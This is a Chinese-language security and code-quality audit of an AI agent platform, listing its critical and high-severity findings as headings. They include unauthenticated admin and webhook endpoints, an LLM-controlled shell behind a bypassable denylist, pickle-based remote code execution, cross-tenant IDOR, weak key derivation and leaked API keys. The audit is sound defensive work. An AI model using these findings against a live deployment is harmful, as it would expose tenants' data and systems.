文档广度。 docs/ 里有 theory.md、constructs.md、from-config-spec.md、SPEC.md、api.md、cli-usage.md 和设计笔记 —— spec-vs-impl 缺口正是因为 docs *的确*在尝试做到完整。漂移是维护问题，不是缺席问题。

AUDIT_2026-06-05.md 69 KB Permalink History Raw

项目审计 — 2026-06-05

执行摘要

方法学

按严重度分组的发现

严重 (7)

1. POST /api/v1/setup/bootstrap 无 auth 创建 admin tenant

2. /feishu/bind 和 /feishu/webhook 既无 auth 也无签名验证——跨 tenant agent 劫持

3. LLM 控制的 shell 命令以 shell=True 跑在轻易绕过的 denylist 后

4. agentpaas/pyproject.toml 漏声明 lambdagent 依赖，尽管有 17+ 处 import

5. agentexample/travelagent67/.env 携带真实 SiliconFlow + Amap API key

6. FastAPI 端点零 HTTP/API 层 test——3477 LOC 的 route handler 没有任何测试

7. agentexample/agent67/tools/shell_executor.py —— LLM 控制的 shell 以 shell=True 执行

高 (33)

8. async_executor 在共享 Context 上 race —— async path 上违反 Paper II Prop 30

9. fromconfig sub-agent caller 跨 sub-agent 边界丢 cancellation

10. async handler 用同步 term.apply() 阻塞 event loop —— 一个慢 agent 拖死所有其他请求

11. 模块全局 shell CWD 被每个请求 mutate —— 并发 run 互相 race，写入对方 workspace

12. secret-at-rest 的 key derivation 是无 salt 的单轮 SHA-256 —— 无 PBKDF2/Argon2，无 per-secret salt

13. 共享单一 SQLite 连接（check_same_thread=False）+ 全局 singleton，被并发 async handler 共用

14. rollback_agent 缺 RBAC 检查、缺 audit log，跨 tenant 调用静默 200-OK

15. Chat.tsx 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocess

16. qaagent67lambda template 到处硬编码 /home/67/knowledge/finance —— fresh clone 完全跑不起来

17. qaagent67lambda 用 pickle.load 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCE

18. agentpaas 包布局用 where = [".."] 把自己 pin 到了自己目录之外

19. Compiler（Layer 4）伸手抓 Runtime（Layer 5）的 ReAct event 类型

20. beta-reduction 被四套并行解释（Term.apply、async_core monkey-patch、executor、cek_machine）

21. compiler.py 是 1654 行的 god module，里面有个 474 行的 _compile_react 闭包

22. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏

23. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复

24. dev Docker Compose 硬编码静态 AES-256-GCM master key fallback（"dev_auto_generated"）

25. rate-limit middleware 对 Authorization 头为空的请求静默放行

26. 整个 /analyze/* router 没 auth —— DoS + 免费算力

27. /knowledge/{kb_id}/files 任意 host 文件注册（无 containment 检查）

28. /jobs/{job_id} IDOR —— 读和取消都不做 tenant scope

29. /providers/* 把明文 API key 写进全局文件并写进 process env，无 tenant 分区

30. agent 到 KB 的链接不做 tenant scope —— 运行时跨 tenant 读 KB

31. agent-lint-action 在 lambdagent 装失败时静默 fallback 到 no-op installer

32. Docker image 以 root 运行（无 USER directive）

33. setup.sh 在没有 pyproject.toml 的 repo root 上跑 pip install -e ".[all]"

34. authenticate() —— API-key 登录流程 —— 零 test 覆盖

35. lambdagent/rag.py（438 LOC）—— Paper III 的招牌特性 —— 零 direct test

36. test_instance.py 从未跑过 agents.agent_template / instance_dir DB 列

37. README Quick Start 的 Loop 例子用了不存在的 kwarg —— 复制粘贴立即失败

AUDIT_2026-06-05.md 69 KB

Permalink History Raw

1. `POST /api/v1/setup/bootstrap` 无 auth 创建 admin tenant

2. `/feishu/bind` 和 `/feishu/webhook` 既无 auth 也无签名验证——跨 tenant agent 劫持

3. LLM 控制的 shell 命令以 `shell=True` 跑在轻易绕过的 denylist 后

4. `agentpaas/pyproject.toml` 漏声明 `lambdagent` 依赖，尽管有 17+ 处 import

5. `agentexample/travelagent67/.env` 携带真实 SiliconFlow + Amap API key

7. `agentexample/agent67/tools/shell_executor.py` —— LLM 控制的 shell 以 `shell=True` 执行

8. `async_executor` 在共享 Context 上 race —— async path 上违反 Paper II Prop 30

10. async handler 用同步 `term.apply()` 阻塞 event loop —— 一个慢 agent 拖死所有其他请求

13. 共享单一 SQLite 连接（`check_same_thread=False`）+ 全局 singleton，被并发 async handler 共用

14. `rollback_agent` 缺 RBAC 检查、缺 audit log，跨 tenant 调用静默 200-OK

15. `Chat.tsx` 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocess

16. `qaagent67lambda` template 到处硬编码 `/home/67/knowledge/finance` —— fresh clone 完全跑不起来

17. `qaagent67lambda` 用 `pickle.load` 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCE

18. `agentpaas` 包布局用 `where = [".."]` 把自己 pin 到了自己目录之外

21. `compiler.py` 是 1654 行的 god module，里面有个 474 行的 `_compile_react` 闭包

24. dev Docker Compose 硬编码静态 AES-256-GCM master key fallback（`"dev_auto_generated"`）

26. 整个 `/analyze/*` router 没 auth —— DoS + 免费算力

27. `/knowledge/{kb_id}/files` 任意 host 文件注册（无 containment 检查）

28. `/jobs/{job_id}` IDOR —— 读和取消都不做 tenant scope